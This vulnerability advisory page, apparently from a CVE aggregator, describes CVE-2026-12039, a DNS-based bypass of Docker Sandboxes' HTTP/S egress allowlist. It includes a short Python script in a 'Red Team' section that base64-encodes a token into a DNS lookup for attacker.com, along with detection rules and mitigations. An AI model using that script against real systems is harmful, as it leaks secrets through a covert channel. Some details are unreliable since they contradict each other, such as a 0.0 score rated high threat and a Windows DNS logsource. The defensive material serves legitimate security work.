CVE-2026-12039
Executive Summary
CVE-2026-12039 is a security vulnerability in Docker Sandboxes (sbx) that allows DNS-based data exfiltration bypassing the configured HTTP/S-only egress allowlist. The flaw lies in the per-network embedded DNS server, which forwards all DNS queries to the host resolver when the network is internet-connected, without consulting the egress policy. An untrusted workload inside a sandbox can encode data into DNS labels for an attacker-controlled domain, creating a covert channel to exfiltrate sensitive information. This vulnerability has a CVSS score of 0.0 (unscored) but poses a significant risk to environments relying on Docker Sandboxes for isolation and egress control. No public exploit or patch is available; mitigation requires manual configuration changes.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects Docker Sandboxes, a core component of Docker’s container isolation technology. It is not specific to a package manager (NPM, PyPI, Go, Ruby) but impacts the Docker runtime itself. Organizations using Docker Sandboxes for secure multi-tenant environments should treat this as a critical supply chain risk, as it undermines the egress policy enforcement.
CVSS Breakdown & Threat Level
- CVSS Score: 0.0 (Unscored)
- Attack Vector: Network (DNS queries)
- Attack Complexity: Low
- Privileges Required: Low (untrusted workload inside sandbox)
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: High (data exfiltration)
- Integrity Impact: None
- Availability Impact: None
- Threat Level: High – The vulnerability allows bypassing a critical security control (egress allowlist) via a covert DNS channel, enabling data exfiltration.
Deep Dive & Mechanics
Docker Sandboxes enforce an HTTP/S-only egress allowlist to restrict outbound traffic from untrusted workloads. However, the per-network embedded DNS server does not apply this policy to DNS resolution. When the network is internet-connected, the DNS server forwards any queried name to the host resolver without checking the allowlist. This allows an attacker inside the sandbox to:
- Encode data (e.g., stolen credentials, tokens) into DNS labels for a domain they control (e.g.,
exfiltrated-data.attacker.com). - Perform a DNS query for that domain.
- The DNS server forwards the query to the host resolver, which resolves it to the attacker’s server.
- The attacker’s DNS server logs the query, extracting the encoded data.
This bypasses the HTTP/S allowlist because DNS traffic is not inspected or blocked by the egress policy. The vulnerability is inherent in the design of the DNS forwarding mechanism.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
# Docker Sandbox DNS handler (simplified)
def handle_dns_query(query):
if network.is_internet_connected():
# Forward to host resolver without policy check
return forward_to_host_resolver(query)
else:
# Apply egress policy
return apply_policy(query)
Patched Code (Conceptual):
# Docker Sandbox DNS handler (patched)
def handle_dns_query(query):
if network.is_internet_connected():
# Apply egress policy before forwarding
if egress_policy.allows_dns(query):
return forward_to_host_resolver(query)
else:
return DNS_REFUSED
else:
return apply_policy(query)
The patch adds a policy check for DNS queries even when the network is internet-connected, ensuring the egress allowlist is enforced.
Exploitation & Lab Setup
Red Team (Exploitation)
Lab Setup:
- Deploy a Docker Sandbox environment with an HTTP/S-only egress allowlist.
- Set up an attacker-controlled DNS server (e.g., using
dnschefor a custom script). - Inside the sandbox, run a script that encodes data into DNS labels and performs queries.
Exploit Script (Python):
import socket
import base64
def exfiltrate_data(data, domain):
encoded = base64.b64encode(data.encode()).decode()
query = f"{encoded}.{domain}"
socket.gethostbyname(query)
# Example usage
exfiltrate_data("secret_token_12345", "attacker.com")
Expected Outcome: The DNS query reaches the attacker’s server, and the encoded data is logged.
Blue Team (Detection & Response)
Detection Steps:
- Monitor DNS logs for unusual domain names (e.g., long subdomains, base64-encoded strings).
- Alert on DNS queries to known malicious domains or domains with high entropy.
- Implement DNS sinkholing for suspicious queries.
Response:
- Block the attacker’s domain at the firewall.
- Review sandbox workloads for signs of compromise.
- Apply the mitigation (see Remediation & Mitigation).
Indicators of Compromise (IOCs)
- Network IOCs:
- DNS queries with long, random-looking subdomains (e.g.,
dGhpcyBpcyBhIHRlc3Q=.attacker.com). - DNS queries to domains not in the egress allowlist.
- DNS queries with long, random-looking subdomains (e.g.,
- Host IOCs:
- Unusual processes making DNS queries inside the sandbox.
- Logs showing DNS queries to attacker-controlled domains.
- File IOCs:
- Scripts or binaries that perform DNS-based data encoding.
Detection Engineering
YARA Rule
rule dns_exfiltration_docker_sbx {
meta:
description = "Detects DNS queries with base64-encoded subdomains indicative of CVE-2026-12039 exploitation"
author = "Valters IT"
date = "2026-01-01"
reference = "CVE-2026-12039"
strings:
$base64_chars = /[A-Za-z0-9+\/=]{20,}/
condition:
$base64_chars and #base64_chars > 3
}
Sigma Rule
title: DNS Exfiltration via Docker Sandbox
id: dns-exfil-docker-sbx
status: experimental
description: Detects DNS queries with long, encoded subdomains from Docker Sandboxes
author: Valters IT
logsource:
category: dns
product: windows
service: dns-server
detection:
selection:
QueryName|contains: "."
QueryName|re: "[A-Za-z0-9+\/=]{20,}\."
condition: selection
falsepositives:
- Legitimate long subdomains (rare)
level: high
Suricata Rule
alert dns any any -> any any (msg:"CVE-2026-12039 DNS Exfiltration Attempt"; dns_query; content:"|2e|"; distance:0; pcre:"/[A-Za-z0-9+\/=]{20,}\./"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Mitigation:
- Configure the Docker Sandbox DNS server to apply the egress allowlist to all DNS queries, even on internet-connected networks.
- Use a custom DNS resolver that enforces policy (e.g., block all DNS queries except to approved domains).
- Implement network segmentation to isolate sandbox networks from the host resolver.
Long-Term Fix:
- Apply the official patch when released by Docker.
- Upgrade to a patched version of Docker Sandboxes.
Workaround:
- Disable internet connectivity for sandbox networks if not required.
- Use a DNS proxy that logs and filters queries.
Valters IT